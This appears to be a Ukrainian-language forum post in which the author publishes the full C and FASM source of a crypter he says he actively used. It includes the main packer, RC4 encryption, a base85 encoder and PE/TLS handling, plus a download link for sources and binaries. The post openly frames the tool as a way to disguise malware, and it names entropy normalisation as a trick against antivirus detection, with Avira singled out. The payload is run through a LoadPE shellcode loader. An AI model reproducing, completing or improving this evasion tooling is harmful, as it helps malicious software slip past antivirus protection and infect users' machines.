Тема: [Джерельний код] Криптор
Нижче викладений джерельний код криптора, який активно мною використовувався. Єдиний пароль на всі архіви - replace
Трішки довідки:
Криптор (від англ. Cryptor — шифрувальник) — назва ряду програм для криптозахисту виконуваних файлів. Використовуються переважно вірусописцями й хакерами для маскування шкідливого програмного забезпечення.
З укр. вікі знов моя стаття
Особливістю цього криптора є:
Підтримка розширень
Генерація стабів окреме від криптування
Підтримка TLS
Використання лінкера для створення виконуваного файла
Мутація коду декриптора
Нормалізація ентропії файла
Невеликий стаб
Криптографічні функції виконані у вигляді пікоду для програмної віртуальної машини
Криптор складається з двох частин - власне криптора, який створює кінцевий криптований виконуваний файл зі вказаного початкового файлу і обраного стабу, і генератора стабів. Цей криптор є консольною програмою, яка одержує параметри з командного рядку і вертає власні помилки чи інформаційні повідомлення туди ж.
Наведені нижче стаби вже використовувалися, тому антивірус має на них реагувати. Для запуску початкового файлу, використовується мій LoadPE шеллкод з підтримкою розширень, а софтверна ВМ оця.
Власне криптор
Криптор писаний мовою C (Pelles C, але має без змін компілюватися і у Visual C++) і для парсингу json даних використовується бібліотека parson.
Головний файл криптора - packer.c
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <Shlwapi.h>
#include "parson.h"
#define LOADPE_BINARY_FILE "loadpe.bin"
#define LOADPE_PLUGINS_DIRECTORY "plugins"
extern void WINAPI ascii85encode (LPVOID pSrc, LPVOID pDst, DWORD dwSrcLen);
int openPluginFile (char* fPath);
#pragma pack(push, 4)
struct strucShellcodeData {
DWORD dwOriginalFileSize;
DWORD dwImageBase;
DWORD dwShellcodeLen;
DWORD dwDeepOfStack;
DWORD pOriginalTLSIndex;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct _3B1P_PLUGIN_HEADER {
DWORD signature;
WORD wSize;
DWORD pReturn;
DWORD pLoadPEData;
WORD pEntryPoint;
DWORD dwPluginID;
};
#pragma pack(pop)
#define MAX_PLUGIN_NAME_LEN 0x20
#define PLUGINS_LEN 0x80
void** pPluginList;
DWORD dwPluginListCount = 0;
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
UCHAR hasIcon = 0;
UCHAR hasPlugins = 0;
char szIconPath [MAX_PATH];
char szPlugins [PLUGINS_LEN] = "";
UINT dwIconResourceID = 0, dwImageDataResourceID = 0;
DWORD dwLoadPEChainSize;
LPVOID pLoadPEChain;
DWORD dwOriginalFileSize;
LPVOID pOriginalFile;
char pass[0x40];
WORD wPassLen;
char sPath[0x400] = "";
char szStubDirPath[MAX_PATH];
char szStubSettingsJSONPath[MAX_PATH];
char szStubObjPath[MAX_PATH];
char szStubEntryObjPath[MAX_PATH];
char szTempDir[MAX_PATH];
char szSessionDirName[0x20];
char szSessionDir[MAX_PATH];
char szSessionDataFilePath[MAX_PATH];
char szExternalResourcePath[MAX_PATH];
UCHAR alphabet[85];
struct strucShellcodeData shellcodeData;
UINT iCreationTime;
DWORD dwRawDataSize, dwPackedDataSize;
LPVOID pRawData, pPackedData;
DWORD dwOffsetLoadPE, dwAllocateMemory;
DWORD dwDeepOfStack;
DWORD dwCryptedFileSize;
LPVOID pCryptedFile;
DWORD dwOverlaySize = 0;
LPVOID pOverlay = NULL;
BYTE flagPackOverlay = FALSE, flagSaveOverlay = TRUE;
LPBYTE pTLSRawData = NULL;
DWORD dwTLSRawDataSize = 0;
DWORD pOriginalTLS;
DWORD pOriginalTLSIndex = 0;
DWORD hasExternalResource = 0;
DWORD szHashROR7XOR(char* s) {
DWORD temp = 0, sumHash=0;
int szLen = strlen(s);
for (int i=0; i<=szLen; i++) {
temp = (temp >> 7) | (temp << 25);
sumHash ^= temp;
temp = (temp & 0xFFFFFF00) | s[i];
}
return (sumHash);
}
VOID fprintfArrHex(FILE* f, LPBYTE arr, DWORD size) {
for (DWORD i = 0; i<size; i++) {
if (i) {
fprintf (f, ", ");
}
fprintf (f, "0x%X", arr[i]);
}
}
DWORD initLoadPE(char *szFileLoadPE, char *szPluginDirectory) {
char szPlugin[MAX_PATH];
FILE *fMainShellcode;
char szPluginDirectoryMask[MAX_PATH];
if (!(fMainShellcode = fopen(szFileLoadPE, "rb"))) return(FALSE);
fseek(fMainShellcode, 0, SEEK_END);
dwLoadPEChainSize = ftell(fMainShellcode);
fseek(fMainShellcode, 0, SEEK_SET);
pLoadPEChain = malloc(dwLoadPEChainSize);
fread(pLoadPEChain, dwLoadPEChainSize, 1, fMainShellcode);
fclose(fMainShellcode);
strcpy(szPluginDirectoryMask, szPluginDirectory);
strcat(szPluginDirectoryMask, "\\*.plugin");
if((hFind = FindFirstFile(szPluginDirectoryMask, &FindFileData)) != INVALID_HANDLE_VALUE) {
do {
strcpy(szPlugin, szPluginDirectory);
strcat(szPlugin, "\\");
strcat(szPlugin, FindFileData.cFileName);
openPluginFile(szPlugin);
} while (FindNextFile(hFind, &FindFileData));
FindClose(hFind);
}
return(TRUE);
}
LPVOID buildFileAttachmentBlock (PCHAR szFileAttach, PCHAR szName) {
FILE *fAttach;
DWORD dwNameSize = strlen(szName), dwAttachSize;
if (!(fAttach = fopen(szFileAttach, "rb"))) return(NULL);
fseek(fAttach, 0, SEEK_END);
dwAttachSize = ftell(fAttach);
fseek(fAttach, 0, SEEK_SET);
LPBYTE pResult = malloc(dwAttachSize+dwNameSize+0xC);
*((LPWORD) pResult) = 0xA77A;
*((LPDWORD) ((LPBYTE) pResult + 0x2)) = dwAttachSize + dwNameSize + 0xC;
*((LPBYTE) pResult + 0x6) = dwNameSize + 0x1;
memcpy((pResult + 0x7), szName, dwNameSize + 0x1);
*((LPDWORD) (pResult + 0x8 + dwNameSize)) = dwAttachSize;
fread((pResult + 0x8 + dwNameSize), dwAttachSize, 1, fAttach);
fclose(fAttach);
return((LPVOID) pResult);
}
LPVOID patchMemSpot32B(LPVOID pMem, DWORD dwLen, DWORD dwSpot, LPVOID pMemR, DWORD dwMemRSize) {
LPVOID pResult = NULL;
__asm {
pusha
mov edi, DWord Ptr [pMem]
mov esi, DWord Ptr [dwLen]
lea esi, [edi+esi-0x4]
mov eax, DWord Ptr [dwSpot]
up:
cmp eax, DWord ptr [edi]
jz ok
cmp edi, esi
jz err
inc edi
jmp up
ok:
mov DWord Ptr [pResult], edi
err:
popa
}
if (pResult) memcpy(pResult, pMemR, dwMemRSize);
return(pResult);
}
int openPluginFile(char* fPath) {
FILE *fPlugin;
long bPluginLen;
struct _3B1P_PLUGIN_HEADER zvir;
if (!(fPlugin = fopen(fPath, "rb"))) {
return(FALSE);
}
fseek(fPlugin, 0, SEEK_END);
bPluginLen = ftell(fPlugin);
fseek(fPlugin, 0, SEEK_SET);
if (bPluginLen < sizeof(zvir)) {
fclose(fPlugin);
return(FALSE);
}
char *binaryContent;
binaryContent = (char *)malloc(bPluginLen);
if (!binaryContent) {
fclose(fPlugin);
return(FALSE);
}
fread(binaryContent, bPluginLen, 1, fPlugin);
char binSign[4];
memcpy(binSign, binaryContent, 4);
if (strncmp(binSign, "3B1P", 0x4) != 0) {
fclose(fPlugin);
free(binaryContent);
return(FALSE);
}
memcpy(&zvir, binaryContent, sizeof(zvir) );
if ((bPluginLen <= zvir.wSize+2) || (zvir.wSize == 0)) {
fclose(fPlugin);
free(binaryContent);
return(FALSE);
}
char *binPluginName = (char*)calloc(1, MAX_PLUGIN_NAME_LEN);
strncpy(binPluginName, binaryContent+zvir.wSize, MAX_PLUGIN_NAME_LEN);
DWORD hashPluginName = szHashROR7XOR(binPluginName);
free(binPluginName);
if (hashPluginName != zvir.dwPluginID) {
fclose(fPlugin);
free(binaryContent);
return(FALSE);
}
dwPluginListCount++;
pPluginList = realloc(pPluginList, dwPluginListCount*sizeof(void *));
pPluginList[dwPluginListCount-1] = binaryContent;
return (TRUE);
}
int buildLoadPEChain (char* szPlugins) {
struct _3B1P_PLUGIN_HEADER *zvir;
char *pluginName;
DWORD boolTLS = FALSE;
pluginName = strtok (szPlugins, ",");
while (!boolTLS) {
if (!pluginName) {
boolTLS = TRUE;
if (pOriginalTLS) {
pluginName = "STATICTLS";
} else continue;
}
int iBreakFlag = FALSE;
printf (" [*] USE %s PLUGIN\n", pluginName);
for (DWORD m = 0; m < dwPluginListCount; m++) {
zvir = (struct _3B1P_PLUGIN_HEADER *) pPluginList[m];
if ((zvir -> dwPluginID) == szHashROR7XOR(pluginName)) {
pLoadPEChain = realloc(pLoadPEChain, dwLoadPEChainSize+zvir->wSize);
memcpy((LPBYTE)pLoadPEChain+dwLoadPEChainSize, pPluginList[m], zvir->wSize);
dwLoadPEChainSize+=zvir->wSize;
iBreakFlag = TRUE;
break;
}
}
if (!iBreakFlag) return (FALSE);
pluginName = strtok(NULL, ",");
}
pLoadPEChain = realloc(pLoadPEChain, dwLoadPEChainSize+0x4);
memcpy((LPBYTE)pLoadPEChain+dwLoadPEChainSize, "4APA", 0x4);
dwLoadPEChainSize+=0x4;
shellcodeData.dwShellcodeLen = dwLoadPEChainSize;
#ifdef DEBUG
FILE* fLoadPE = fopen("loadpe.bin", "wb+");
fwrite(pLoadPEChain, dwLoadPEChainSize, 1, fLoadPE);
fclose(fLoadPE);
#endif
return (TRUE);
}
int parseOptionalParam (char *szparam) {
char *token;
char ** res = NULL;
token = strtok( szparam, "|");
int n_spaces = 0, i, n;
while (token) {
res = realloc (res, sizeof (char*)*++n_spaces);
if (res == NULL) exit (-1);
res[n_spaces-1] = token;
token = strtok (NULL, "|");
};
for (i = 0; i < (n_spaces); ++i) {
char ** command = NULL;
int command_params = 0;
printf("res[%d]=%s\n", i, res[i]);
token = strtok(res[i], "?");
if (token) {
while (token) {
command = realloc (command, sizeof (char*)*++command_params);
command[command_params-1] = token;
token = strtok(NULL, "?");
}
} else {
command[0] = token;
command_params++;
}
if (!strncmp(command[0], "ICON", 4)) {
if (command_params != 2) {
free (command);
free (res);
return(FALSE);
}
hasIcon = 1;
strncpy(szIconPath, command[1], 0x200);
} else if (!strcmp(command[0], "PLUGINS")) {
if (command_params != 2) {
free (command);
free (res);
return(FALSE);
}
hasPlugins = 1;
strncpy(szPlugins, command[1], PLUGINS_LEN);
} else if (!strcmp(command[0], "OVERLAY")) {
if (command_params < 2) {
free(command);
free(res);
return(FALSE);
}
for (int z=1; z<command_params-1; z++) {
if (!strcmp(command[z], "PACK")) {
flagPackOverlay = TRUE;
} else if (!strcmp(command[z], "NOTPACK")) {
flagPackOverlay = FALSE;
} else if (!strcmp(command[z], "REMOVE")) {
flagSaveOverlay = FALSE;
} else if (!strcmp(command[z], "SAVE")) {
flagSaveOverlay = TRUE;
} else {
free(command);
free(res);
return(FALSE);
}
}
} else if (!strcmp(command[0], "RESFILE")) {
if (command_params != 2) {
free(command);
free(res);
return(FALSE);
}
hasExternalResource = TRUE;
strncpy(szExternalResourcePath, command[1], 0x200);
} else {
free (command);
free (res);
return(FALSE);
};
for (n = 0; n < command_params; ++n) {
printf("r[%d]=%s\n", n, command[n]);
}
};
free (res);
return(TRUE);
}
int readStubConfig (char *szpathstub) {
JSON_Array *array;
JSON_Value *rootVal = json_parse_file(szpathstub);
if (json_value_get_type(rootVal) != JSONObject) {
json_value_free(rootVal);
return(FALSE);
}
JSON_Object *rootObj = json_value_get_object (rootVal);
JSON_Value *passVal = json_object_dotget_value (rootObj, "pass.val");
if (json_value_get_type(passVal) != JSONString) {
json_value_free(rootVal);
return(FALSE);
}
const char *szPass = json_object_dotget_string (rootObj, "pass.val");
strncpy(pass, szPass, 0x40);
wPassLen = strlen(szPass);
JSON_Value *iconResNumVal = json_object_dotget_value (rootObj, "icon.resnum");
if (json_value_get_type(iconResNumVal) != JSONNumber) {
json_value_free(rootVal);
return(FALSE);
}
dwIconResourceID = (DWORD) json_object_dotget_number (rootObj, "icon.resnum");
JSON_Value *valOffsetLoadPE = json_object_dotget_value (rootObj, "loadpe.offset");
if (json_value_get_type(valOffsetLoadPE) != JSONNumber) {
json_value_free(rootVal);
return(FALSE);
}
dwOffsetLoadPE = (DWORD) json_object_dotget_number (rootObj, "loadpe.offset");
JSON_Value *valImageDataResourceIDVal = json_object_dotget_value (rootObj, "datapeimage.resnum");
if (json_value_get_type(valImageDataResourceIDVal) != JSONNumber) {
json_value_free(rootVal);
return(FALSE);
}
dwImageDataResourceID = json_object_dotget_number (rootObj, "datapeimage.resnum");
array = json_object_dotget_array(rootObj, "alphabet.val");
if (json_array_get_count(array)!=85) {
json_value_free(rootVal);
return(FALSE);
}
JSON_Value *valDeepOfStub = json_object_dotget_value (rootObj, "stackdepth");
if (json_value_get_type(valDeepOfStub) != JSONNumber) {
json_value_free(rootVal);
return(FALSE);
}
dwDeepOfStack = json_object_dotget_number (rootObj, "stackdepth")+0x88+0x54;
unsigned int z = 0;
for(int i=0; i< 85; i++) {
z = json_array_get_number(array, i);
if (z > 255) {
json_value_free(rootVal);
return(FALSE);
}
alphabet[i]=z;
}
json_value_free(rootVal);
return TRUE;
}
LPBYTE RC4(LPBYTE lpBuf, LPBYTE lpKey, DWORD dwBufLen, DWORD dwKeyLen) {
INT a, b = 0;
BYTE s[256];
BYTE swap;
DWORD dwCount;
for(a = 0; a < 256; a++) {
s[a] = a;
}
for(a = 0; a < 256; a++) {
b = (b + s[a] + lpKey[a % dwKeyLen]) % 256;
swap = s[a];
s[a] = s[b];
s[b] = swap;
}
for(dwCount = 0; dwCount < dwBufLen; dwCount++) {
a = (a + 1) % 256;
b = (b + s[a]) % 256;
swap = s[a];
s[a] = s[b];
s[b] = swap;
lpBuf[dwCount] ^= s[(s[a] + s[b]) % 256];
}
return lpBuf;
}
UINT getSizeOfImage (PVOID pImgPE) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
return (Image_Optional_Header->SizeOfImage);
}
UINT getImageBase (PVOID pImgPE) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
return (Image_Optional_Header->ImageBase);
}
UINT getSizeOfStackCommit (PVOID pImgPE) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
return (Image_Optional_Header->SizeOfStackCommit);
}
UINT getSizeOfStackReserve (PVOID pImgPE) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
return (Image_Optional_Header->SizeOfStackReserve);
}
void setSizeOfStackCommit (PVOID pImgPE, DWORD dwStackCommit) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
Image_Optional_Header->SizeOfStackCommit = dwStackCommit;
}
/*
DWORD OffsetToRVA(PVOID pImgPE, DWORD offset) {
DWORD scount = 3;
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *) pImgPE;
IMAGE_SECTION_HEADER *is_hdr = (IMAGE_SECTION_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for(unsigned i = 0; i < scount;i++) // Find section holding the Offset
if((offset >= is_hdr[i].PointerToRawData) && (offset <= is_hdr[i].PointerToRawData +is_hdr[i].SizeOfRawData)) {
return (offset+is_hdr[i].VirtualAddress-is_hdr[i].PointerToRawData);}
return 0;
}
*/
/*----------------------------------------------------------*
*
* RVAToOffset: Convert value from RVA to file offset.
*----------------------------------------------------------*/
DWORD RVAToOffset(PVOID pImgPE, DWORD dwRVA) {
PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32) ((BYTE*)pImgPE+((IMAGE_DOS_HEADER *) pImgPE)->e_lfanew);
int i;
WORD wSections;
PIMAGE_SECTION_HEADER pSectionHdr;
/* Map first section */
pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
wSections = pNtHdr->FileHeader.NumberOfSections;
for (i = 0; i < wSections; i++)
{
if (pSectionHdr->VirtualAddress <= dwRVA)
if ((pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) > dwRVA) {
dwRVA -= pSectionHdr->VirtualAddress;
dwRVA += pSectionHdr->PointerToRawData;
return (dwRVA);
}
pSectionHdr++;
}
return (-1);
}
/*----------------------------------------------------------*
*
* OffsetToRVA: Convert value from file offset to RVA.
*----------------------------------------------------------*/
DWORD OffsetToRVA(PVOID pImgPE, DWORD dwOffset) {
PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32) ((BYTE*)pImgPE+((IMAGE_DOS_HEADER *) pImgPE)->e_lfanew);
int i;
WORD wSections;
PIMAGE_SECTION_HEADER pSectionHdr;
/* Map first section */
pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
wSections = pNtHdr->FileHeader.NumberOfSections;
for (i = 0; i < wSections; i++) {
if (pSectionHdr->PointerToRawData <= dwOffset)
if ((pSectionHdr->PointerToRawData + pSectionHdr->SizeOfRawData) > dwOffset) {
dwOffset -= pSectionHdr->PointerToRawData;
dwOffset += pSectionHdr->VirtualAddress;
return (dwOffset);
}
pSectionHdr++;
}
return (-1);
}
DWORD hasTLS (PVOID pImgPE) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
return((DWORD)Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
}
DWORD getTrueRawSize(PVOID pImgPE) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *) pImgPE;
DWORD scount = ((IMAGE_NT_HEADERS *)((BYTE*)pImgPE+Image_Dos_Header->e_lfanew))->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *is_hdr = (IMAGE_SECTION_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
DWORD dwTrueRawSize = is_hdr[scount-1].PointerToRawData + is_hdr[scount-1].SizeOfRawData;
return(dwTrueRawSize);
}
VOID patchTLS (PVOID pImgPE, DWORD dwRVATLS, DWORD dwSizeTLS) {
IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress = dwRVATLS;
Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size = dwSizeTLS;
}
/*** Command line options:
* [0] PACKER.EXE
* [1] INPUT PE EXE FILE
* [2] OUTPUT PE EXE FILE
* [3] STUB DIRECTORY
* [4] [OPTIONAL PARAMETERS]
***/
int main(int argc, char *argv[]) {
FILE *finp, *fPackedData, *frc;
DWORD dwSizeOfImage, dwSizeOfStackCommit, dwSizeOfStackReserve, dwImageBase;
if (argc == 1) {
puts ("PACKER input_executable_file output_executable_file stub_directory [optional_config_parameter]\nRTFM!!!\n");
return(0);
} else if (argc > 5 || argc < 4) {
puts("ERROR: Invalid parameter number");
return(1);
} else if ((argc == 5) && (!parseOptionalParam(argv[4]))) {
puts("ERROR: Invalid optional parameter");
return(1);
};
if (!PathIsDirectory(argv[3])) {
puts("ERROR: Invalid stub directory");
return(1);
}
strncpy(szStubDirPath, argv[3], MAX_PATH);
strncpy(szStubSettingsJSONPath, szStubDirPath, MAX_PATH);
PathAppend(szStubSettingsJSONPath, "settings.json");
initLoadPE(LOADPE_BINARY_FILE, LOADPE_PLUGINS_DIRECTORY);
strncpy(szStubObjPath, szStubDirPath, MAX_PATH);
PathAppend(szStubObjPath, "stub.obj");
strncpy(szStubEntryObjPath, szStubDirPath, MAX_PATH);
PathAppend(szStubEntryObjPath, "entry.obj");
GetTempPath(MAX_PATH, szTempDir);
strncpy(szSessionDir, szTempDir, MAX_PATH);
iCreationTime = (time(NULL)^clock());
sprintf (szSessionDirName, "%X", iCreationTime);
PathAppend (szSessionDir, szSessionDirName);
CreateDirectory (szSessionDir, NULL);
if (!readStubConfig(szStubSettingsJSONPath)) {
puts("ERROR: Invalid stub configuration file");
return(1);
};
if (!(finp = fopen(argv[1], "rb"))) {
puts(argv[1]);
puts("ERROR: CAN'T OPEN SOURCE PE EXE");
return(0);
};
fseek(finp, 0, SEEK_END);
dwOriginalFileSize = ftell(finp);
fseek(finp, 0, SEEK_SET);
pOriginalFile = malloc(dwOriginalFileSize);
fread(pOriginalFile, 1, dwOriginalFileSize, finp);
fclose(finp);
dwSizeOfImage = getSizeOfImage(pOriginalFile);
dwSizeOfStackCommit = getSizeOfStackCommit(pOriginalFile);
dwSizeOfStackReserve = getSizeOfStackReserve(pOriginalFile);
dwImageBase = getImageBase(pOriginalFile);
pOriginalTLS = hasTLS(pOriginalFile);
DWORD dwTrueRawSize = getTrueRawSize(pOriginalFile);
if (dwTrueRawSize < dwOriginalFileSize) {
dwOverlaySize = dwOriginalFileSize - dwTrueRawSize;
printf(" [+] Overlay data detected. It`s length is %d\n", dwOverlaySize);
pOverlay = malloc(dwOverlaySize);
memcpy(pOverlay, (LPBYTE)pOriginalFile + dwOriginalFileSize - dwOverlaySize, dwOverlaySize);
if (!flagPackOverlay) {
dwOriginalFileSize -= dwOverlaySize;
pOriginalFile = realloc(pOriginalFile, dwOriginalFileSize);
}
if (!flagSaveOverlay) {
free(pOverlay);
pOverlay = NULL;
dwOverlaySize = 0;
}
}
SetCurrentDirectory(szSessionDir);
if (!(fPackedData = fopen("data.bin", "wb"))) {
puts("ERROR: CAN'T CREATE TEMP FILE");
fclose(finp);
return(0);
};
/* dwSizeOfImage = getSizeOfImage(pOriginalFile);
dwSizeOfStackCommit = getSizeOfStackCommit(pOriginalFile);
dwSizeOfStackReserve = getSizeOfStackReserve(pOriginalFile);
dwImageBase = getImageBase(pOriginalFile);
*/
shellcodeData.dwImageBase = dwImageBase;
shellcodeData.dwOriginalFileSize = dwOriginalFileSize;
shellcodeData.dwDeepOfStack = dwDeepOfStack;
shellcodeData.pOriginalTLSIndex = 0;
buildLoadPEChain (szPlugins);
dwRawDataSize = (dwOriginalFileSize+dwLoadPEChainSize+0x3) & 0xFFFFFFC;
dwPackedDataSize = 5 * dwRawDataSize / 4;
dwAllocateMemory = dwOffsetLoadPE + dwRawDataSize;
pOriginalTLS = hasTLS(pOriginalFile);
if (pOriginalTLS) {
LPBYTE pTLS = (LPBYTE) pOriginalFile+RVAToOffset(pOriginalFile, pOriginalTLS);
dwTLSRawDataSize = ((PIMAGE_TLS_DIRECTORY) pTLS)->EndAddressOfRawData - ((PIMAGE_TLS_DIRECTORY)pTLS)->StartAddressOfRawData;
shellcodeData.pOriginalTLSIndex = pOriginalTLSIndex = ((PIMAGE_TLS_DIRECTORY) pTLS)->AddressOfIndex;
pTLSRawData = malloc (dwTLSRawDataSize);
DWORD dwTLSRawDataRVA = ((PIMAGE_TLS_DIRECTORY) pTLS)->StartAddressOfRawData-dwImageBase;
DWORD dwOffsetTLSRawData = RVAToOffset(pOriginalFile, dwTLSRawDataRVA);
memcpy(pTLSRawData, (LPBYTE)pOriginalFile + dwOffsetTLSRawData, dwTLSRawDataSize);
printf(" [+] has static TLS: 0x%X\n [+] size of raw data is 0x%X\n", pOriginalTLS, dwTLSRawDataSize);
}
patchMemSpot32B(pLoadPEChain, dwLoadPEChainSize, 0xBEA51F3D, &shellcodeData, sizeof(shellcodeData));
pRawData = malloc(dwRawDataSize);
memcpy(pRawData, pLoadPEChain, dwLoadPEChainSize);
memcpy((LPBYTE)pRawData+dwLoadPEChainSize, pOriginalFile, dwOriginalFileSize);
#ifdef DEBUG
FILE *frawdata = fopen("rawdata.dat", "wb");
fwrite(pRawData, 1, dwRawDataSize, frawdata);
fclose(frawdata);
#endif
RC4((LPBYTE)pRawData, (LPBYTE)pass, dwRawDataSize, wPassLen);
#ifdef DEBUG
FILE *frc4 = fopen("data_debug_rc4.dat", "wb");
fwrite(pRawData, 1, dwRawDataSize, frc4);
fclose(frc4);
#endif
pPackedData = malloc (dwPackedDataSize);
ascii85encode (pRawData, pPackedData, dwRawDataSize);
fwrite (pPackedData, 1, dwPackedDataSize, fPackedData);
fclose (fPackedData);
int iSpace = dwSizeOfImage - (0x2000+dwPackedDataSize);
if (iSpace > 0) {
FILE *fbss = fopen("space.asm", "wb");
fprintf(fbss, "format MS COFF\n\nsection '.bss' readable writeable\n\n rb %d\n", iSpace);
fclose(fbss);
system("C:\\DEV\\FASM\\FASM.EXE space.asm");
}
fPackedData = fopen("data.asm", "wb");
fprintf(fPackedData, "format MS COFF\n");
if (iSpace > 0) {
fprintf(fPackedData, "\nsection '.bss' readable writeable\npublic buffer\nbuffer rb %d\n", iSpace);
}
fprintf(fPackedData, "\nsection '.data' data readable writeable\n public crdata\ncrdata:\n file 'data.bin'\n" );
fclose(fPackedData);
frc = fopen("resource.rc", "wb");
if (hasIcon) {
CopyFile((const char*)szIconPath, "icon.ico", FALSE);
fprintf(frc, "0x86 ICON \"ICON.ICO\"\n");
}
fclose(frc);
system("PORC.EXE resource.rc");
system("C:\\DEV\\FASM\\FASM.EXE data.asm");
char linkparam[MAX_PATH];
sprintf(linkparam, "POLINK.EXE resource.res user32.lib kernel32.lib gdi32.lib data.obj %s %s ", szStubEntryObjPath, szStubObjPath);
if (hasExternalResource) strcat(linkparam, szExternalResourcePath);
if (iSpace>0) strcat(linkparam, " space.obj ");
sprintf(linkparam, "%s /SUBSYSTEM:WINDOWS /ALIGN:4096 /OUT:crypted.exe /BASE:0x%X /MERGE:.rdata=.text", linkparam, dwImageBase);
puts(linkparam);
system(linkparam);
CopyFile("crypted.exe", argv[2], FALSE);
FILE* fcrypted = fopen(argv[2], "rb");
fseek(fcrypted, 0, SEEK_END);
dwCryptedFileSize = ftell(fcrypted);
fseek(fcrypted, 0, SEEK_SET);
pCryptedFile = malloc(dwCryptedFileSize);
fread(pCryptedFile, dwCryptedFileSize, 1, fcrypted);
fclose(fcrypted);
patchMemSpot32B(pCryptedFile, 0x2C00, 0xACADBE71, &dwAllocateMemory, 0x4);
patchMemSpot32B(pCryptedFile, 0x2C00, 0xAB7E6CA9, &dwPackedDataSize, 0x4);
setSizeOfStackCommit(pCryptedFile, dwSizeOfStackCommit);
fcrypted = fopen(argv[2], "wb");
fwrite(pCryptedFile, dwCryptedFileSize, 1, fcrypted);
if (dwOverlaySize) {
fwrite(pOverlay, dwOverlaySize, 1, fcrypted);
}
fclose(fcrypted);
return(0);
};
Файл base85enc.inc - реалізація мовою асемблера кодування даних (трохи спрощеним) алгоритмом BASE85знов моя стаття. Воно потрібне для нормаліізації статистики вихідного файлу (ентропії секції даних), на яку погано реагують антивіруси (особливо avira).
format MS COFF
include '%FASMINC%\win32a.inc'
section '.text' code readable executable
public ascii85_encode as '_ascii85encode@12'
extrn '_alphabet' as alphabet
proc ascii85_encode_dword pMem:DWord, dwVal:DWord
pusha
mov eax, [dwVal]
mov edi, 085d
xor ecx, ecx
mov esi, [pMem]
lea ebx, [alphabet]
xor edx, edx
div edi
movzx ecx, Byte [ebx+edx]
mov Byte [esi], cl
inc esi
xor edx, edx
div edi
movzx ecx, Byte [ebx+edx]
mov Byte [esi], cl
inc esi
xor edx, edx
div edi
movzx ecx, Byte [ebx+edx]
mov Byte [esi], cl
inc esi
xor edx, edx
div edi
movzx ecx, Byte [ebx+edx]
mov Byte [esi], cl
inc esi
xor edx, edx
div edi
movzx ecx, Byte [ebx+edx]
mov Byte [esi], cl
popa
xor eax, eax
ret
endp
proc ascii85_encode pSrc:DWORD, pDst:DWORD, dwLen:DWORD
pusha
mov esi, [pSrc]
mov edi, [pDst]
mov ecx, [dwLen]
add ecx, 03h
shr ecx, 02h
.up:
stdcall ascii85_encode_dword, edi, DWord [esi]
add esi, 04h
add edi, 05h
loop .up
popa
ret
endp
packer.srcnbin.zip 257.45 kb, 935 downloads since 2015-01-02